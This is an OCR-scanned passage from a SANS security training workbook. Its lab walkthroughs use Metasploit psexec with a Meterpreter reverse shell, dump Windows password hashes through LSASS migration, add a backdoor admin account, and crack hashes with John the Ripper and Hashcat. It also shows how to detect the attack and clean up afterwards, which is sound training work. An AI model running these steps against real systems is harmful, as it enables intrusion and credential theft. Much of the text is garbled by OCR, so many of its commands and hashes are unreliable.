SERVICE DISPLAY NAME no The service display name

SERVICE NAME no The service name

SHARE ADMINS yes The share to connect to, can be
an admin share {ADMINS$,CS3,...) or a normal read/write folder share

SMBDomain . no The Windows domain to use for
authentication

SMBPass sech04 no The password for the specified
username

SMBUser sech04 na The username to authenticate as
Payload options (windows/meterpreter/reverse tcp):

Name Current Setting Reguired Description

EXITFUNC thread ves Exit technique (Accepted: '', seh, thread,
process, none)

LHOST 10.10.75.1 ves The listen address {(an interface may be
specified}

LFPORT 4444 yes The listen port

Exploit target:

Id HName

o] Automatic

Launch the Exploit

With everything configured, we can launch the attack to get Meterpreter loaded into the target machine's
memory and connect back to us:
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msf exploit (psexec) > exploit

[*] Started reverse TCP handler on 10.10.75.1:4444
i [*110.10.0.1:445 - Connecting to the server...
[*] 10.10.0.1:445 - ARuthenticating to 10.10.0.1:445 as user 'secb04'...
[*] 10.10.0.1:445 - Selecting PowerShell target
[*] 10.10.0.1:445 - Executing the paylead...
[+] 10.10.0.1:445 - Service start timed out, OK if running a command or non-service
executable. ..

[*] Sending stage (179779 bytes) to 10.10.0.1
[*] Meterpreter session 1 opened ¢10.10,75,1:4444 -> 10.10.0.1:1789) at 2019-03-22
18:32:51 +0000

meterpreter >

Occasionally, the psexec exploit will fail with the error Unable to remove the service, ERROR CODE: 1053, If this
happens, run the expioit command again.

Look carefully at the status messages from Metasploit. You can see that it authenticates to the target machine
and uploads the stager. The stager is the :.;‘.e.v.e.].fseitcp . part of the payload, which implements
communication and the loading of the stage. The stage is Meterpreter itself,

Finally, with the stager running on the target, it sends the stage (Meterpreter itself) and opens a session back to

nsfeonsole |, giving us the Meterpreter prompt. We now have Meterpreter access of the target machine:

Special Meterpreter commands we type at this prompt are executed by Meterpreter on the Windows target
machine.

if. as you proceed through this Jab, your Meterpreter session closes or s dropped, type = exploit I to relaunch it

Meterpreter at Session Management

After you get a meterpreter > : prompt, let's look at how we can manage sessions with ‘msfconsole . First,
we take the Meterpreter session and put it in the background so that we are back at the = msfoonsele
prempt using the  background | command, as shown here:




meterpreter > background
{*] Backgrounding session 1...
msf5 expleit (windows/smb/psexec) >

Metasploit supports the concept of having multiple sessions with multiple target machines., We can get a list of

all open sessions on exploited target boxes by running the ' sessions -1 = command (that is a dash Jowercase-
L, not a cne), as shown here;

msfh exploit (windows/smb/psexec) > sessions -1

E Active sessions

Id Hame Type Information Connection

i meterpreter x86/windows NT AUTHORITY\SYSTEM @ SECS504STUDENT
10.10.75.1:4444 -> 10,10.0.1:1799 (10.10.0.1)

Each session has a session number, a small Integer set that starts at 1 for the first session an instance of
Metasploit opens. We can get back to our Meterpreter prompt and interact with the appropriate session by
running the : sessions -i = command, specifying the session number (in this case, 1). Run the  sessions
command to interact with the Meterpreter session again, as shown here:

msf exploit(psexec}) > segsions -i 1
f*] Starting interaction with 1... ;

meterpreter >

If you ever |ose your Meterpreter session, or it becemes unresponsive, you can quit that session by pressing
CTRL*+C or running | packground , and trying to rerun * expleit ; atthe - ms£5 > - prompt.

Meterpreter Host Interrogation

Now, let's get information about the host itseif. Run the | sysinfo - command, as shown here:
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meterpreter > sysinfo

Computer 1 SECS504STUDENT
oS : Windows 10 (Build 17134} .
Architecture : x64

System Language : en US
Domain : SECS504
Logged Cn Users : 2
Meterpreter 1 x86/windows

Note that the output of | ' sysmfo - may be slightly different on your system folfowing Windows 0S updates.

In this output we can see the host's name (Computer), the operating system type, the CPU architecture, and the
language pack installed.

Next, let's see what the current user ID is by running the = getuid . command, as shown here;

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

We used the  psexec module, which relies on admin credentials to give us local SYSTEM privileges on the

target,

TIP: You have the ability to clear the screen by pressing CTRL+L, Also, you have Tab autocomplete of various
command names within Meterpreter. Try out the following commands, which give us information about the target
envirenment ond our place in it,

Meterpreter Process Interrogation

We can obtain a list of running processes on the Windows victim with the “ps | command, as shown here:




meterpreter > ps
Process List
PID PPID Name Arch
Path
4] 0 [System Process]
4 0 System x64
504 4 SmMSS . exe %64
576 784 svchost.exe 264
C:\Windows\System3Z\svchost.exe
584 576 CSrss.exe x64
664 656 CSTrss, exe x64
684 576 taskhostw.exe x64
C:\Windows\System32\taskhostw.exe
704 576 wininit,exe x6d
736 656 winlogen.exe %64
C:\Windows\3ystem32\winlogon,exe

Sessicn

User

NT AUTHORITY\SYSTEM

SEC5048TUDENT\Sec504

WT AUTHORITY\SYSTEM

meterpreter > getpid
Current pid: 1340

Please write down this PID value! You will cross-reference it later in this lab,

Meterpreter Help

Let's look at the help facilities within Meterpreter. You can invoke them with either the help command or a

question mark, as shown here;
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meterpreter > ¢

Core Commands

1 a e e

background

byg

bgkill

bglist

bgrun

channel

close

disable_unicode encoding
enable unicode_encoding
exit

get timeouts

pDescriptieon

Help menu

Backgrounds the current session

Alias for background

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or contrel active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timecut values

guid Get the session GUID

help Help menu

info bisplays information about a Post module

irb Open an interactive Ruby shell on the current session
load Load cne or more meterpreter extensions

machine_id Get the MSF ID of the machine attached to the session

migrate Migrate the server to another process

pivot Manage pivet listeners

pry Open the Pry debugger on the current session
guit Terminate the meterpreter session
“fead Reads data from a channel

resource Run the commands stored in a file

The commands are grouped into Core commands, Stdapi commands (broken into subcategories like File System
Commands and Networking Commands), and Priv (again, separated into Password Database Commands and
Timestomp Commonds).

Dumping Hashes with Hashdump and Smart Hashdomp

When Meterpreter runs with SYSTEM or admin privileges, we can use It to pull password hashes from the
target. We can try to dump them from memory using the Meterpreter hashdump " command:




meterpreter > hashdump
{-] priv_passwd get_sam hashes: Operation failed: The parameter is incorrect.

On many versicns of Windeows, this command fails, because Microsoft made it more difficult to pul hashes
from memory. However, since we have SYSTEM privileges we can sidestep this Microsoft restriction,

In particular, a Meterpreter script can pull the hashes from the registry stored in the filesystem instead of
memory. Meterpreter scripts are invoked using the A' run . command, It is useful to have multiple ways to get

stored on the filesystem, as shown here:

meterpreter > run past/windows/gather/smart~hashdump

{*] Running module against SEC504STUDENT

[*] Hashes will be saved to the database if one is connected.
[+] Hashes will be saved in loot in JtR password flle format to:
[*1

/homa/sec504/.msf4/loot/z0190401025853_defau1t_10.10.0.1_windows.hash957864300.txt
[*¥] Dumping password hashes...

[*1 Running as SYSTEM extracting hashes from registry

[*] Cbtaining the boot key...

[*] Calcutating the hboot key using SYSEEY e2a5379f049Ff58372322618F569020. ..
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints..,

[*1 No users with password hints on this system

[*] Dumping password hashes...

[+]

Administrator:500:aad3b435b51404eeaad3b435b51404ee:3ld6cfe0dl6ae931b73059d7e0c089c0:::

[+]
: BefaunltAccount:503:aad3b435b51404ecaad3ba35b51404ee: 31d6cfe0dl 6ae931b73c59d7a0c0R%c0;: « ;

[+]
WDAGUt1lityAccount :504:aad3b435b51404ecaad3bd35b51404ee: 31d6cteldl 6ae931h73059d 7008900

[+]
§ec504:1000:aad3b435051404eeaad3b435b51404ee: 31d6cfaddl 6ae931b73c59d7e0c089¢0: ; ;
meterpreter >
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Here it looks like we have met with success, but look closely at the password hashes. The values are all the
same for all users, representing empty password hashes. This is also the result of improved Windows defenses,
preventing us frem retrieving password hash information without first obtaining User Account Controf privileges.

We have an additional method available for dumping password hashes through Meterpreter, but first we have
to look at the « migrate ; feature.

Process Migration

Establishing a Meterpreter session using the | psexec expleit involves injecting a PowerShell process on the
target system. We can observe this by using & getpid  to identify the PID, then examine the output of ' ps | to
identify the process name in the path column, as shown here:

ahis Beservaed




meterpreter > getpid
Current pid: 1340
meterpreter > ps

Process List

PID PPID Name Arch Session User

Path

0 0 [System Process]

4 [ System x64 0

504 4 Smss.exe %64 0

576 784 svchost.exe x64 o NT AUTHORITY\SYSTEM
C:\Windows\System32Z\svchost.exe

584 576 CSYrss.exe x64 ol i

6604 656 CSTs5.exe x64 i % co

684 576 taskhostw.exe z64 1 SECS04STUDENT\Sac504 % .
C:\Windows\System32\taskhostw.exe E

704 576 wininit.exe x64

736 656 winlogon, exe x64 1 NT AUTHORITY\SYSTEM
C:\Windows\System32\winlogon, exe :

784 704 services.exe x64 0 ?

736 704 lsass.exe x6G4 0 NT AUTHORITY\SYSTEM ;
C:\Windows\System32\1sass.exe

844 784 svchost.exe =64 4] NT AUTHORITY\LOCAL SERVICE
C:\Windows\System32\svchost.exe

868 784 svchost.exe x64 0 WT AUTHORITY\SYSTEM
C:\Windows\System32\svchost.exe

908 784 svchost.exe x64 8] NT AUTHORITY\METWORK SERVICE
C:\Windows\System32\svchost.exe

956 784 svchost, exe x64 0] NT AUTHCRITY\LOCAL SERVICE
C:\Windows\Bystem32\svchost.exe

1016 736 dwin. exe x64 1 Window Manager\DWM-1
C:\Windows\System32\dwm. exe

1036 784 svchost, exe x64 & NT AUTHORITY\SYSTEM
C:\Windows\System32\svchost.exe

1052 784 svchost.exe xEd 0 NT AUTHORITY\SYSTEM
C:\Windows\3System32\svchost.exe

1172 784 svchost. exe 264 ol NT AUTHORITY\LOCAL SERVICE
C:\Windows\System32\svchost.exe

1264 784 svchost, exe x64 0 NT AUTHORITY\NETWORK SERVICE
C:\Windows\Bystem3Z\svchost.exe

1316 784 vmacthlp.exe XG4 0 NT AUTHORITY\SYSTEM
Ci\Program Files\VMware\VMware Toocls\vmacthlp.exe

1324 784 sychost.exe %64 0 NT AUTHORITY\SYSTEM
C:\Windows\System32\svchost.exe

1340 5020 powarshell,exe %86 0 NT AUTHORITY\SYSTEM

C:\Windows\SysWOW&4\WindowsPowersShel 1\v1, (\powershell. exe
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Meterpreter is not limited to using this process however, and can migrate to different processes. This can be
done to evade defender actions (such as killing an unrecognized process), or to abtain different system
privileges.

For example, some Metasploit attacks reguire that your Meterpreter session have the same architecture as the
native CPU on the system. Inthe | ps . output, we see that the : powershell.axe : process has an architecture
of x86, even though this is a x64 system. Let's fix this by migrating to the | vmtcolsd. u_a}_qa_. process (which has
an architecture of x64) using the 'migrate command, as shown here: S

meterpreter > migrate -N vmacthlp, exe
[*] Migrating from 1340 tec 1316...
[*] Migration completed successfully.

NOTE: Any experienced Metasploit user will tell you that if o Meterpreter session is going to fail, it will foil during
the . migrate command. Ifthis command fails, simply run  exit . to leave the Meterpreter session. Rtn

| exploit aguin from the msf£5 | prompt, and run the ~ mi command again. in some cases, it may

L © be necessary to choose o dfﬁerent process name (feel free to try mfgratmg info VGAuthSerVJ.ce exe §,

! Compa tTelRunner exe :, OF Googlelpda te.exe . if you continue to have trouble, It may be necessary to

reboot your Windows VM.

Runthe * sysinfo : and ' getpid =~ commands again here to examine the new session changes:

meterpreter > sysinfo

Computer : SECH04STUDENT
(o)) ; Windows 10 (Build 14383,
Architecture 1 x64

System Language : en_US
Domain : SEC504
Logged On Users @ 2
Meterpreter 1 x64/windows

meterpreter » getpid
Current pid: 1316

Success!
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Process Migration for Privilege Escalation

attacker to obtain password hashes. However, there is one additional opportunity for an attacker: To leverage
the permissions of the LSASS process.

The Local Security Authority Subsystem Service (LSASS) is a Windows service that handles multiple security
events and controls on the Windows platform. While attempting to run  hashdump : will fail from other
processes due to a permission failure, we can migrate into the LSASS process to '53}1'05\55 this defense
mechanism.

From your Meterpreter prompt, migrate to the | lsass.exs | process, as shown here:

neterpreter > migrate =N lsass.exe
[*] Migrating from 1316 toc 796...
[*] Migration completed successfully.

exit . to quit the Meterpreter session, then run exploit

ifthis migrate command fails, please run

again to start o new session, then try the | migrate -N lsass.exe | command again,

meterpreter > hashdump
Administrator:500:2ad3b435b51404eeaad3bd35b51404ee: 31d6cfeldléand31lbT3c59d720c089c0:

BefaultAccount:503:aad3p435b51404ecaad3bd435b51404ee:31d6cfe0dl16ae931b73¢59d7e0c089c0; ¢ ;
Guest:501:aad3b435b51404eeaad3b435b51404ea:31d6afeld16ae931b73059d720c08%c0: + ¢

53ec504:1000:2ad30b435b51404eeaad3b435b51404ee:864d9a2947723c4264598907¢1d67a83: :
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b514D4ee:9679f78ee0859fdedb8c208c8fcf4abf::f

In this output, the password hashes for the Administrator, DefaultAccount, and Guest accounts are all empty
password hash values. This is because the accounts are disahled, However, notice that the NTLM hash for the
5ec504 user is a non-empty hash value (as is the Windows Defender Application Guard WDAGUtilityAccount
account). Success!
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If multiple users had passwords on this system, we would obtain all of the password hashes. However, an
attacker wouldn't stop here, Next we'll look at techniques to run commands on the Windows victim, and to
establish additionat access on the system.

Get a Shell

BT We can use Meterpreter to get handy “omd. exe | shell access of the target as well by running the . ‘shéif’;
B command, as shown here;

meterpreter > shell

Process 4428 created.

Channel 1 created.

Microsoft Windows [Version 10.0.14393]

{c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

We now see the familiar | Civ> * prompt, into which we can type commands, such as “net user to get a list

of users on the machine, | net localgroup administrators  to get a list of admin-level accounts, and

. ipconfig : to see network settings. Run these commands to gather additional Windows information, as
shown here:




Ci\Windows\system32> net usexr

net user

User accounts for \\

Administrator DefaulthAccount Guest
Sec504
The command completed with one or more errors.

C:\Windows\system32> net localgroup administrators
net localgroup administrators :
Alias name administrators

Comment Administrators have complete and unrestricted access toc the

computer/domain

Members

Administrator
Sec504
The command completed successfuliy.

C:\Windows\system32> ipeconfig
ipconfig

Windows IP Configuration

Ethernet adapter EthernetO:

Connection~specific DNS Suffix . :
Link-local IPv6 Address . . . . . : feB0::6dbd:ed46b:9fd3;7a8a%9

Ipvd Address., . . . . . . . . . . : 10.10.0.1
Subnet Mask . . . . . . . . . . . : 255,255,0.0

Default Gateway

Con't exit your “_uc.r.n.r:.i...exe - shell yet though. Next you'll add an additional user account.

Add an Administrative User Account

In the eventuality that an attacker is caught, they will attempt to establish a mechanism by which to regain
access to their target system, This can be fairly sophisticated, but it can also be as easy as adding an additional
administrative user account.
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Fromthe = cmd.exe : shell, add a new administrative user account with the name admin using the | net user

/add admin mypassword and mnet localgroup administrators admin /add , as shown here:

C:\Windows\system32> net user /add admin mypassword
net user /add admin mypassword
The command completed successfully.

C:\Windows\system32> net localgroup administrators admin Jadd
net localgroup administrators admin /add
The command completed successfully.

Backdoor account successfulty added!

Next, exit the | emd.exe shell and get back to the Meterpreter by running the © exit “ command, as shown
here:

C:\Windows\system32> exii
meterprater >

Analyzing the Attack from Windows — Overview

Now, we analyze the Windows machine to see the impact Metasploit is having on it. In particular, we look at TCP
port usage with the * netstatr | command. It helps us determine the process ID that has a connection. We then
investigate the process in detail using the | tasklist | command, reviewing its loaded DLLs.

We also look at the events that are generated by the use of Metasploit's ‘psexec | module in the Event Viewer,

Finally, we mlgrate the Meterpreter code out of the powersheu exe : process, jumpingto a
" calculator.exe | process we invoke, We then see how the memory consumptlon of calculator exe |

changes after we m|grate

Open an Administrator Command Prompt

From your Windows VM, open a Command Prompt as an Administrator: Click Start, then right-click on the
Command Prompt ican, then click More | Run as administrator,




Analyzing the Host: netstat and tasklist

the string EST for established connections, as shown here;

C:\Windows\system32> netstat -naeo | find "BST"
TCP 10.10.0.1:1548 10.10.75.1:4444 ESTABLISHED 1340

You shouid see a connection associated with TCP port 4444 on your machine (and passibly other established
connections). This is the default ' Leorr  for many of Metasploit's payloads {although we could have changed
that setting, we left it with the default so we could spot it easlly now). Make a note of the Process ID (PID) using
that port (the last item on the right of the output of = netstat )

This PID should be the same one you recorded earlier, because it is the process the Meterpreter is running

to let us focus on that PID;

Ci\Windows\system32> tasklist /fi "pid eg Processip"
INFG: No tasks are running which match the specified criteria.

Curiously, - tasklist ' indicates that the process does not exist. We can query for similar results using the
wmic  tool on Windows as well. Run the - smic * command example shown here:

Ci\Windows\system32> wnic process whare processid=1340 get name
Mo Instance(s) Available.
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Both commands fail to show a process, despite the output of | netstat | revealing that the PID has the TCP
connection apen. This s because of the Meterpreter | migrate = command. Due to the way that Meterpreter
migrates to the specified process number, Windows no longer has an accurate indicatar for the PID associated

with the TCP connection.

Analyzing the Host: 5ys Events

Let's look at the events that Windows records when the Metasploit | psexec module is used against it On
your Windows machine, launch the Event Viewer:

C:\Windows\system32> eventvwr . msc

On the left of the screen, expand Windows Logs and select the Systern log. In the middle of your screen, look at
the various event IDs,

Scroll to the event with an ID of 7045. Look at the General tak of this event. You can see that "a service was
installed on the system.” We can also see the service name, which is a pseudo-random string. This is certainly
an anomalous event, corresponding to the psexec | module (and other similar explotis).

£ Event Viewsr - o x

(Pinfammation 121972018 913541 AM Wiridots Reaote har 10148 None ¥ Crests Curtam Vi,

e b e [
Parwarded Evants Claar Log
plizations and Services Lol - et e " Fitar CunentLleg..
bicriptians -
(R Yendize wai installad in the tyskem, - A Find
| . v | Sewn All Events Az
ISeruice Name; EUwncPARISWATESA ]
§ PARta Atach  Tosk To this Log
Logtlste - -+ Syt e e . : v
Saurce: Sarvics Contal Manoger  Loggeds 2192018 T AN

Fent I0: 704 T Tuk Cotegong Moris
Lewk - Information Koo Clhasic

Usens . FCTMSTUDENT S e 504 Computen TecddSkedent
OnCoder nfe

Mord Information:  E.ee Cie Help

Artach Task Ta This Event.

i Copy [

Finishing Up

We have now finished the lab, but feel free to explore different commands and features within Meterpreter,
(Remember that you can get a list of commands by running 7 at the meterpreter prompt).

When you are completely finished with the lab, exit Meterpreter by typing:




meterpreter > exit
[*] Shutting down Meterpreter,,.
[*] 10.10.0.1 - Meterpreter session 1 closed. Reason: User exit

msf5 exploit(psexec) > exit
root@slingshot:~#

Clean Up Windows

Return to your Windows administrator Command Prompt and defete the backdoor user you added in this lab
by running net user /del admin |, as shown here:

C:\Windows\system32> net user /del admin
The command completed successfully.

Why This Lab Is Important

Hopefully this lab helped to demystify some of the capabilities and features of Metasploit. This tool is a very
important one for both defenders and attackers to know because it allows both to accurately replicate the
attack style real adversaries utilize.

Bonus (If Time Permits or Homework)

* Experiment with the different features of Meterpreter, Some interesting modules you could try are
webcam_snap, audio record, or the keylogger, (Note: These modules might not wark on all systems!)

»  Rerun the lab, but prior to running the exploit, try using the  ms£5> show advanced | feature. You can
modify many of the ways Metasploit behaves by altering the features exposed here.
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Additional Resources

SANS Classes

SECS60: Metwork Penetration Testing and Ethical Hacking thaps:/swww.sans.org/course/network-penetration-testing-ethical-

hacking) SEC580: Metasploit Kung Fu for Enterprise Pen Testing (hupsiwww sans.org/course/metasploit-kung-fu-enterprise-
pen-testing) SECBG0; Advanced Penetration Testing, Exploit Writing, and Ethical Hacking

(hitpsy Avww, sans.org/ course/atdvanced-penetration-testing-explolts-ethical-hacking)

Articles

How does process migration wark in Meterpreter (hiwpsi/security stackexchange.com/questions/90578/how-does-process-

migration-work-in-meterpreter)

Books

Metasplait Penetration Testing Cookbook - Third Edition (htpsy/iwww.packepub.com/networking-and-servers/metasploit-

penetration-testing-cookbouok-third-edition}

Copyright




Brief Intro

fn this lab, we'll use John the Ripper as a password-cracking tool on the Skngshot Linux VM.

Requirements for This Lab

In this lab you will use your Slingshot Linux VM, Make sure the VM is running before continuing with the lab
exercise.

Walkthrough

Creating Passwords to Crack

First you will create some accounts with varicus passwords to see how quickly they can be cracked by John the
Ripper. You will create a few temporary accounts and give them some guessable/crackable passwords, so make
sure you delete these accounts after the lab is complete. (We don't want someone hacking into your box through
these accounts.} To help limit this possibility, you can set the shell for these new accounts to

: /sbin/nologin -, SO SOMeone cannot log in through them. Still, it's a good idea to delete these accounts at
the end of the lab.

Add accounts for each of your users: homer, marge, lisa, and bart. The | -s | /sbin/nologin directive tells
the : useradd * command to set the shell for these accounts to a program that politely refuses login access to
anyone whoa tries. Still, you can set a password for these accounts, So, create each account, and set a password

for each using the | passwd | command.

Note: When you type in the passwords, they will not be displayed on your screen,

Copyright © 2019, Joshua Wright ard Mike Murr, All Rights Reserved 166
Dyrig 2 £



sec504@slingshot:~% sudo su -

{sudo] password for secS504:

rootéslingshot:~# useradd bomer -s /sbin/nologin
roct@slingshot:~# passwd homer

Enter new UNIX password: homerhomer

Retype new UNIX password: homerhomesn

passwd: password updated successfully
root@slingshot:~# useradd marge -z /sbin/nologin
root@slingshot:~# passwd marge

Enter new UNIX password: password

Retype new UNIX password: password

passwd: password updated successfully
root@slingshot:~# useradd lisa -z /sbin/aologin
root@sliingshot:~# passwd lisa

Enter new UNIX password: passworl

Retype new UNIX password: passworB

passwd: password updated successfully
root@slingshot:~% useradd bart -s /ebin/nologin
rootlslingshot:~# passwd bart

Enter new UNIX password: your choice

Retype new UNIX password: your choice

passwd: password updated successfully

Retrieve Passwords on Linux

Next, make a copy of the /etc/pass.t;:.d. " and | /ete/shadow | files, We advise you to run John against a copy
of these files. If you use the original file, you may accidentally overwrite it. We know... we've done it before.

First, check if you have shadow passwords, Run this command:

root@slingshot:~# haad -a 3 /ete/sbadow

root: $13LEHaquNgSb66hPx10YMene8RbWQ1h1:17315:0:999589:7: 1
daemon:*:17212:0:89989:7:::

in:*:17212:0:99999:7; 0

If it displays results, you have a shadow password file, so you have to use both | /etc/passwd  and
Jetc/shadow . to crack the passwords.

Lyl
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root@slingshot:~# cp /ete/passwd /tmp/passwd_copy
rootéslingshot:~% cp /ete/shadow /tmp/shadow copy

Running John the Ripper

Now, if you have both a password file and a shadow file, you need to combine the two. Combine them using the
. unshadow | script that comes with John the Ripper, using the following commands:

root@slingshot: ~# unshadow /tmp/passwd copy /tmp/shadow_copy > /imp/combined

This command fuses the two files together into a single file called | combined “inyour { /tmp  directory,

Lock at the combined file, as well as John's built-in dictionary:
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A i root@slingshot:~# less /tmp/combined

; root:$1$LEHaquig$bs6hPx10Y fM6neBRbWQ1h1: 0: 0  root: /root: /bin/bash
daemon:*:1:1:daemon: /fusr/sbin: /usr/sbin/nologin
bin:*:2:2:bin:/bin; /usr/sbin/nologin

ays:*:3:3:sys:/dev:/usr/sbin/nolegin

sync: *:4:65534;sync: /bin: /bin/sync

games: *:5:60:games;: /usr/games: /usr/sbin/nologin
man;*:6:12:man: /var/cache/man: /usr/sbin/nolcgin
lp:*:7:7:1p:/var/spool/lpd: /usr/shin/nologin
mail:*:8:8:mail:/var/mail: /usr/sbin/nelogin

news:*:9:9:naws: /var/spool/news;: /fusr/sbin/nologin
uacp:*:10;10:uucp: /var/spool/uucp: /fusrc/sbin/nologin
proxy:*:13:13:proxy: /bin: /usr/skin/nologin

www-data:*:33:331www—data: /var/www: /usr/skbin/nologin
backup: *:34:34:backup; /var/backups: /usr/sbin/nologin
list:#:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:*:39:39:1ired: /var/run/ircd: fusr/sbin/nolegin
gnats:*:41:41:Gnats Bug-Reporting System tadmin) : /var/lib/gnats:/usr/sbin/neleg

in

nebody:*: 655341 65534 :nobody: /nonexistent: fusr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,, :/run/systemd: /bin/fa

lse

systemd-network:*:101:103:systend Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resclve:/bin/false
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:*:104:108:: /home/syslog:/bin/false
gunderbar;apt:*:105:65534:: /nonexistent: /bin/false

messagebus:*:106:110:: /var/run/dbus:/bin/false

uuidd:*:107:111::/run/uuidd: /bin/false
" sshd:*:108:65534:; /var/run/sshd: fust/sbin/nologin ' N o o o
sac560: 565e]CB5T6dSaPfsT. . Y32GKAVgxnkicnaVoWAnEIRY1G/ sBVERa0 gkCLT3piRdY5000cYR/MeWDbYFn/qt

mysqgl:!:108:116:MySQL server,,,!/nonexistent:/bin/false
whoopsie:*:110:118:: /nonexistent:/bin/false




root@slingshot:~# less /jept/JohnTheRipper/run/password.lst

123456
12345
password
passwordl
123456789
12345678

abcl23
computer
tigger
1234
gwerty

money
carmen
mickey
secret
summer
internet
alb2c3
123

service

#! comment:
#f ! comment:
#!comment:
#! comment: :
#!comment:
#! comment :
#1comment :
#!comment:
# ! comment:
#comment :
#! comment:
#!comment:

#! comment:

1234567880

This list has been compiled by Solar Designer of Openwall Project
in 19%6 through 2011. It is assumed to be in the public domain.
This list is based on passwords most commonly seen on a set of Unix
systems in mid-1990's, sorted for decreasing number of occurrences
It has been

revised to also include common website passwords from public lists

(that is, more common passwords are listed first).

of "top N passwords" from major community website compromises that
occurred in 2006 through 2010.

Last update: 2011/11/20 (3546 entries)

For more wordlists, see http://www.openwall,com/wordlists/

Remember: To exit the : less command, usethe o key.

John the Ripper Cutput

Running John is straightforward. Execute the ~ jonn command followed by the combined password file, as

shown here:
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root@siingshet:~# john /tmp/combined

Warning: detected hash type "mdScrypt”, but the string is also recognized as aix—
smgd5h™

Use the "——format=aix-smd5" optien to forece leading these as that type instead

Warning: only loading hashes of type "mdScrypt", but alsc saw Type "shaSl2crypt”

Use the "--format=sha5l2crypt"” option to force loading hashes of that type instead
Using default input encoding: UTF-8

Loaded 2 password hashes with 2 different salts (mdScrypt, crypti3) 51% [MD5 128/128

SSEZ 4x31)

Press 'q' or Ctrl-C tc abort, almost any other key for status
secs80 {sech80}

root {root}

2g 0:00:00:00 DONE 1/3 {2019-03-07 21:22) 200.0g/s 500.0p/s 600.0c/s 600.0C/s

root..sec580

Use the "--show" option to display all of the cracked passwords reliably

Session completed

In this example, John recovered two passwords for the sec580 and root accounts, both using the md5crypt
password hash mechanism. The shadow file for the Slingshot VM includes two accounts with this older
password hash mechanism (which is common to find, when a UNIX or Linux system is upgraded but older
accounts have not yet reset their passwords),

The remaining accounts in the file have not yet been cracked. To target the newer password hash format, run
John again, this time adding the © --format=shasl2crypt . argument, as shown here:

root@slingshot;~# john —-format=shablZerypt / tmp/ conbinead

Using default input encoding: UTF-8

Loaded 6 password hashes with & different salts (shaSlZerypt, crypt(3) 565 [SHAS512
128/128 SSE2 2x])

Press 'g' or Ctrl-C to abort, almost any other key for status

sech6l (sechb6l}
homerhomer {homer)
password {marge}

While John is running, press the space bar to get status information. Notice the current guess and how it
changes with time, Also, note the third column, which indicates the current mode John is using (1-3}, starting
with Single Crack mode, moving quickly to Wordlist mode (dictionary and hybrid), and then to Incremental
mode (brute force). It even tells you what percentage of the given mode it has completed. Also, note the /s
output, which shows you the number of guesses and comparisons per second. This is a speedy tool.




How long did it take for various passwords to crack?

Please only let it run for approximately 5 minutes.

Cleaning Up: Removing the Created Accounts

For security, please remove the accounts you just created, as shown here:

rootéslingshet: ~# deluser homer

Removing user “homer'

Warning: group "homer' has no more members,
Done.

roctlslingshot:~¥# deluser marge

Removing user ‘marge’

Warning: group "marge' has no more members,
Done.

rooté@slingshot:~# deluser lisa

Removing user “lisa’

Warning: group "lisa' has no more members,
Done.

root@slingshot:~# deluser bart

Removing user “bart!

Warning: group “bart’ has no more members.
Done.

Bonus (If Time Permits or Homework)

Consider downloading and setting up a version of John the Ripper that is optimized for your hardware. Chances
are you'll see dramatic speed improvements compared to what you get on the VMs we provided.

NOTE: Be sure you're alfowed to install John the Ripper on the system you use, if you have brought a laptop from
your organization - even if it's a "loaner” loptop, make sure you have written permission to install it on the host

0s.

Research topics refated to this lab. Here's some areas of further study:

+ This article from €50 Online on reverse password cracking

{hups:/fwww.csoonline. com/article/ 264 1462 /security/password-cracking-in-reverse, htrml)
e correct horse battery staple (hepsiixked com/oas)
* Using geolocation to create better wordlists (hups:/Awwy.yautibe. comiwatch v NNATZO[GM)
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Additional Resources

Spend some time reading the  man  page for John the Ripper. You will likely be pleasantly surprised how
detailed and feature rich it is (_ man john )

SANS SECS60; Network Penetration Testing and Ethical Hacking (hupsiiwwa.sans orgisecss0}

SANS SEC505: Sacuring Windows and PowerShell Automation (hitps://www.sans.org/secsns)
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Brief Intro

In this lab, we're going to use Hashcat to crack some password hashes using the Windows VM. Hashcat is
probably the most flexible and powerful password cracker available to the public today, widely used by
attackers, but also by defenders for understanding the risks associated with weak passwords,

Requirements for This Lab

In this ab you will use your Windows 10 VM. Make sure the VM is running before continuing with the lab
exercise.

Try It Yourself

Walkthrough

Running Hashcat on Windows

Now we are going to run Hashcat on some Windows LM and NT password hashes. To do this, we will first need
fo change directories to the : ¢:\Tools | directory on the Windows VM:

specify the following options:

*  -a - Specify the Hashcat attack mode; here, we use  -a o  for a straight wordlist attack
*  -m :-Specify the hash type; here, ~-m 3000 . indicates that we will perform LANMAN password hash
cracking
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» | -r | -Specify a Hashcat rules file; here | -r rules\Incisive-leetspeak.rule | tells Hashcat to utilize

the "I'ncisive-ieetspeak rules file, located in the  rules -Idirectory
= sam.txt =~ The list of password hashes to crack

»  password.lst = - The wordlist file

Run Hashcat using these options, as shawn here:

C:\Tools\hashcat-4.1.0> hashcaté4,exe -a 0 -m 3000 -xr rules\Incisive-
lestspeak.rule saw.txt password.lst
hashcat {v4.1.0) starting...

OpenCL Platform #1: Intel{R) Corporation

* Device #1: iIntel (R) Core(TM) 17-7700HQ CPU @ 2.80GHz, 511/2047 MB allocatable, 1MCU

Hashfile 'sam.txt' on iline 4 (Guest:...PASSWORD*****k*xsakkddukddkhsd; 1) Hash-
encoding exception

Hashes: 16 digests; 14 unique digests, 1 unigque salts

Bitmaps: 16 bits, 65536 entries, Ox0000£fff mask, 262144 bytes, 5/13 rotates
Rules: 15487

Applicable optimizers:
* Zero-Byte

* Precompute-Final-Permutation
: * Not-Iterated
i : * Single-Salt

Minimum password length supperted by kernel: 0

Maximum password length supported by kernel: 7

Watchdog: Hardware meonitoring interface not found on your system.

i . Watchdog: Temperature abort frigger disabled.

Dictionary cache built:

* Filename..: password.lst
* Passwords,: 6255

* Bytes.....: 29772

* Keyspace..: 96871185

* Runtime,..: 0 secs
aad3b435b51l404es;

| ; JeacdeaTad395079: INTERNE
7584248b8d2c0f9e 1A

